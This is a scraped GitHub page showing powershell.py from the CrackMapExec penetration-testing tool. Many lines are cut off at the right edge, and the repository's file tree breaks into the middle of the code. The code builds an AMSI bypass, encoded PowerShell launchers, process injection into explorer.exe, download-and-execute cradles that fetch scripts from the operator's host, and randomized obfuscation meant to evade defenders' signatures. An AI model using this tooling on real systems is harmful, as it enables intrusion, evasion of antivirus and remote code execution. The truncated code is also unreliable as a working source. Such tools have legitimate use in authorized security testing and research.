This repository has been archived by the owner on Dec 6, 2023. It is now read-only.

awsmhacks update powershell.py 304836d · 6 years ago History

```python
import cme
import os
import logging
import re
import tempfile
from sys import exit
from string import ascii_lowercase
from random import choice, randrange, sample
from subprocess import check_output, call
from cme.helpers.misc import gen_random_string, which
from cme.logger import CMEAdapter
from base64 import b64encode

logger = CMEAdapter()

obfuscate_ps_scripts = False

def get_ps_script(path):
    return os.path.join(os.path.dirname(cme.__file__), 'data', path)

def encode_ps_command(command):
    return b64encode(command.encode('UTF-16LE'))

def is_powershell_installed():
    if which('powershell'):
        return True
    return False

def obfs_ps_script(path_to_script):
    ps_script = path_to_script.split('/')[-1]
    obfs_script_dir = os.path.join(os.path.expanduser('~/.cme'), 'obfuscated_scripts')
    obfs_ps_script = os.path.join(obfs_script_dir, ps_script)

    if is_powershell_installed() and obfuscate_ps_scripts:

        if os.path.exists(obfs_ps_script):
            logger.info('Using cached obfuscated Powershell script')
            with open(obfs_ps_script, 'r') as script:
                return script.read()

        logger.info('Performing one-time script obfuscation, go look at some memes caus

        invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -Scr


        logging.debug(invoke_obfs_command)

        with open(os.devnull, 'w') as devnull:
            return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, she

        logger.success('Script obfuscated successfully')

        with open(obfs_ps_script, 'r') as script:
            return script.read()

    else:
        with open(get_ps_script(path_to_script), 'r') as script:
            """
            Strip block comments, line comments, empty lines, verbose statements,
            and debug statements from a PowerShell source file.
            """

            # strip block comments
            strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script.read())
            # strip blank lines, lines starting with #, and verbose/debug statements
            strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((li

            return strippedCode

def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):

    amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {
try{
[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetFiel
}catch{}
```

```
            logging.debug(invoke_obfs_command)
            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()

            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
            logging.debug('Command length: {}'.format(len(command)))

            if len(command) <= 8192:
                temp.close()
                break

            encoding_types.remove(encoding)

    else:
    """
    if not dont_obfs:
        obfs_attempts = 0
        while True:
            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfus
            if len(command) <= 8191:
                break

            if obfs_attempts == 4:
                logger.error('Command exceeds maximum length of 8191 chars (was {}). ex
                exit(1)

            obfs_attempts += 1
    else:
        command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(com
        if len(command) > 8191:
            logger.error('Command exceeds maximum length of 8191 chars (was {}). exitin
            exit(1)

    return command

def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False):
    #The following code gives us some control over where and how Invoke-PSInject does i
    #It prioritizes injecting into a process of the active console session
    ps_code = '''
$injected = $False
$inject_once = {inject_once}
$command = "{command}"
$owners = @{{}}
$console_login = gwmi win32_computersystem | select -exp Username
gwmi win32_process | where {{$_.Name.ToLower() -eq '{procname}'.ToLower()}} | % {{
    if ($_.getowner().domain -and $_.getowner().user){{
    $owners[$_.getowner().domain + "\\" + $_.getowner().user] = $_.handle
    }}
}}
try {{
    if ($owners.ContainsKey($console_login)){{
        Invoke-PSInject -ProcId $owners.Get_Item($console_login) -PoshCode $command
        $injected = $True
        $owners.Remove($console_login)
    }}
}}
catch {{}}
if (($injected -eq $False) -or ($inject_once -eq $False)){{
    foreach ($owner in $owners.Values) {{
        try {{
            Invoke-PSInject -ProcId $owner -PoshCode $command
        }}
        catch {{}}
    }}
}}
'''.format(inject_once='$True' if inject_once else '$False',
           command=encode_ps_command(command), procname=procname)

    if context:
        return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=Fal

    return ps_code

def gen_ps_iex_cradle(context, scripts, command=str(), post_back=True):

    if type(scripts) is str:

        launcher = """
[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}}
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name
{command}
""".format(server=context.server,
           port=context.server_port,
           addr=context.localip,
           ps_script_name=scripts,
           command=command if post_back is False else '').strip()

    elif type(scripts) is list:
        launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$
        launcher +="[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.Se
        for script in scripts:
            launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{add



        launcher.strip()
        launcher += command if post_back is False else ''

    if post_back is True:
        launcher += '''
```

Files

0a49f75

Go to file

- .github
- cme
  - data
  - helpers
    - __init__.py
    - bash.py
    - http.py
    - logger.py
    - misc.py
    - powershell.py
  - loaders
  - modules
  - parsers
  - protocols
  - servers
  - thirdparty
  - __init__.py
  - cli.py
  - cmedb.py
  - connection.py
  - context.py
  - crackmapexec.py
  - first_run.py
  - logger.py
  - msfrpc.py
- .gitignore
- .gitmodules
- LICENSE
- MANIFEST.in
- Makefile
- Pipfile

CrackMapExec / cme / helpers / powershell.py

Top

Code Blame 392 lines (318 loc) · 20.1 KB

Raw

```
    $bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd)
    $request.ContentLength = $bytes.Length
    $requestStream = $request.GetRequestStream()
    $requestStream.Write($bytes, 0, $bytes.Length)
    $requestStream.Close()
    $request.GetResponse()'''.format(server=context.server,
                                      port=context.server_port,
                                      addr=context.localip,
                                      command=command)
                                      #second_cmd= second_cmd if second_cmd else '')

        logging.debug('Generated PS IEX Launcher:\n {}\n'.format(launcher))

        return launcher.strip()

    # Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templat
    def invoke_obfuscation(scriptString):

        # Add letters a-z with random case to $RandomDelimiters.
        alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase)

        # Create list of random dxelimiters called randomDelimiters.
        # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in th
        randomDelimiters = ['_','-',',','{','}','~','!','@','%','&','<','>',';',':']

        for i in alphabet:
            randomDelimiters.append(i)

        # Only use a subset of current delimiters to randomize what you see in every iterat
        randomDelimiters = [choice(randomDelimiters) for _ in range(int(len(randomDelimiter

        # Convert $ScriptString to delimited ASCII values in [Char] array separated by rand
        delimitedEncodedArray = ''
        for char in scriptString:
            delimitedEncodedArray += str(ord(char)) + choice(randomDelimiters)

        # Remove trailing delimiter from $DelimitedEncodedArray.
        delimitedEncodedArray = delimitedEncodedArray[:-1]
        # Create printable version of $RandomDelimiters in random order to be used by final
        test = sample(randomDelimiters, len(randomDelimiters))
        randomDelimitersToPrint = ''.join(i for i in test)

        # Generate random case versions for necessary operations.
        forEachObject = choice(['ForEach','ForEach-Object','%'])
        strJoin = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join')
        strStr = ''.join(choice([i.upper(), i.lower()]) for i in '[String]')
        join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join')
        charStr = ''.join(choice([i.upper(), i.lower()]) for i in 'Char')
        integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int')
        forEachObject = ''.join(choice([i.upper(), i.lower()]) for i in forEachObject)

        # Create printable version of $RandomDelimiters in random order to be used by final
        randomDelimitersToPrintForDashSplit = ''
```

- Pipfile.lock
- README.md
- requirements.txt
- setup.cfg
- setup.py

```
        for delim in randomDelimiters:
            # Random case 'split' string.
            split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split')

            randomDelimitersToPrintForDashSplit += '-' + split + choice(['', ' ']) + '\'' +

        randomDelimitersToPrintForDashSplit = randomDelimitersToPrintForDashSplit.strip('\t
        # Randomly select between various conversion syntax options.
        randomConversionSyntax = []
        randomConversionSyntax.append('[' + charStr + ']' + choice(['', ' ']) + '[' + integ
        randomConversionSyntax.append('[' + integer + ']' + choice(['', ' ']) + '$_' + choi
        randomConversionSyntax = choice(randomConversionSyntax)

        # Create array syntax for encoded scriptString as alternative to .Split/-Split synt
        encodedArray = ''
        for char in scriptString:
            encodedArray += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' '])

        # Remove trailing comma from encodedArray
        encodedArray = '(' + choice(['', ' ']) + encodedArray.rstrip().rstrip(',') + ')'

        # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separ
        # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS var
        # If the OFS variable did exists then we could use even more syntax: $varname, Set-
        # For more info: https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsof
        setOfsVarSyntax = []
        setOfsVarSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" + cho
        setOfsVarSyntax.append(choice(['Set-Variable', 'SV', 'SET']) + choice([' '*1, ' '*2
        setOfsVar = choice(setOfsVarSyntax)

        setOfsVarBackSyntax = []
        setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" +
        setOfsVarBackSyntax.append('Set-Item' + choice([' '*1, ' '*2]) + "'Variable:OFS'" +
        setOfsVarBack = choice(setOfsVarBackSyntax)

        # Randomize case of $SetOfsVar and $SetOfsVarBack.
        setOfsVar = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVar)
        setOfsVarBack = ''.join(choice([i.upper(), i.lower()]) for i in setOfsVarBack)

        # Generate the code that will decrypt and execute the payload and randomly select o
        baseScriptArray = []
        baseScriptArray.append('[' + charStr + '[]' + ']' + choice(['', ' ']) + encodedArra
        baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'."
        baseScriptArray.append('(' + choice(['', ' ']) + "'" + delimitedEncodedArray + "'"
        baseScriptArray.append('(' + choice(['', ' ']) + encodedArray + choice(['', ' ']) +
        # Generate random JOIN syntax for all above options
        newScriptArray = []
        newScriptArray.append(choice(baseScriptArray) + choice(['', ' ']) + join + choice([
        newScriptArray.append(join + choice(['', ' ']) + choice(baseScriptArray))
        newScriptArray.append(strJoin + '(' + choice(['', ' ']) + "''" + choice(['', ' '])
        newScriptArray.append('"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + setOfsVa

        # Randomly select one of the above commands.
        newScript = choice(newScriptArray)

        # Generate random invoke operation syntax.
        # Below code block is a copy from Out-ObfuscatedStringCommand.ps1. It is copied int
        invokeExpressionSyntax  = []
        invokeExpressionSyntax.append(choice(['IEX', 'Invoke-Expression']))
        # Added below slightly-randomized obfuscated ways to form the string 'iex' and then
        # Though far from fully built out, these are included to highlight how IEX/Invoke-E
        # These methods draw on common environment variable values and PowerShell Automatic
        invocationOperator = choice(['.','&']) + choice(['', ' '])
        invokeExpressionSyntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')
        invokeExpressionSyntax.append(invocationOperator + "( $PSHome[" + choice(['4', '21'
        invokeExpressionSyntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5
        invokeExpressionSyntax.append(invocationOperator + "( $env:ComSpec[4," + choice(['1
        invokeExpressionSyntax.append(invocationOperator + "((" + choice(['Get-Variable','G
        invokeExpressionSyntax.append(invocationOperator + "( " + choice(['$VerbosePreferen

        # Randomly choose from above invoke operation syntaxes.
        invokeExpression = choice(invokeExpressionSyntax)

         # Randomize the case of selected invoke operation.
        invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression

        # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or (
        invokeOptions = []
        invokeOptions.append(choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '('
        invokeOptions.append(choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choi

        obfuscatedPayload = choice(invokeOptions)

        """
        # Array to store all selected PowerShell execution flags.
        powerShellFlags = []

        noProfile = '-nop'
        nonInteractive = '-noni'
        windowStyle = '-w'

        # Build the PowerShell execution flags by randomly selecting execution flags substr
        # This is to prevent Blue Team from placing false hope in simple signatures for com
        commandlineOptions = []
        commandlineOptions.append(noProfile[0:randrange(4, len(noProfile) + 1, 1)])
        commandlineOptions.append(nonInteractive[0:randrange(5, len(nonInteractive) + 1, 1)
        # Randomly decide to write WindowStyle value with flag substring or integer value.
        commandlineOptions.append(''.join(windowStyle[0:randrange(2, len(windowStyle) + 1,

        # Randomize the case of all command-line arguments.
        for count, option in enumerate(commandlineOptions):
            commandlineOptions[count] = ''.join(choice([i.upper(), i.lower()]) for i in opt

        for count, option in enumerate(commandlineOptions):
            commandlineOptions[count] = ''.join(option)

        commandlineOptions = sample(commandlineOptions, len(commandlineOptions))
        commandlineOptions = ''.join(i + choice([' '*1, ' '*2, ' '*3]) for i in commandline

        obfuscatedPayload = 'powershell.exe ' + commandlineOptions + newScript
        """

        return obfuscatedPayload
```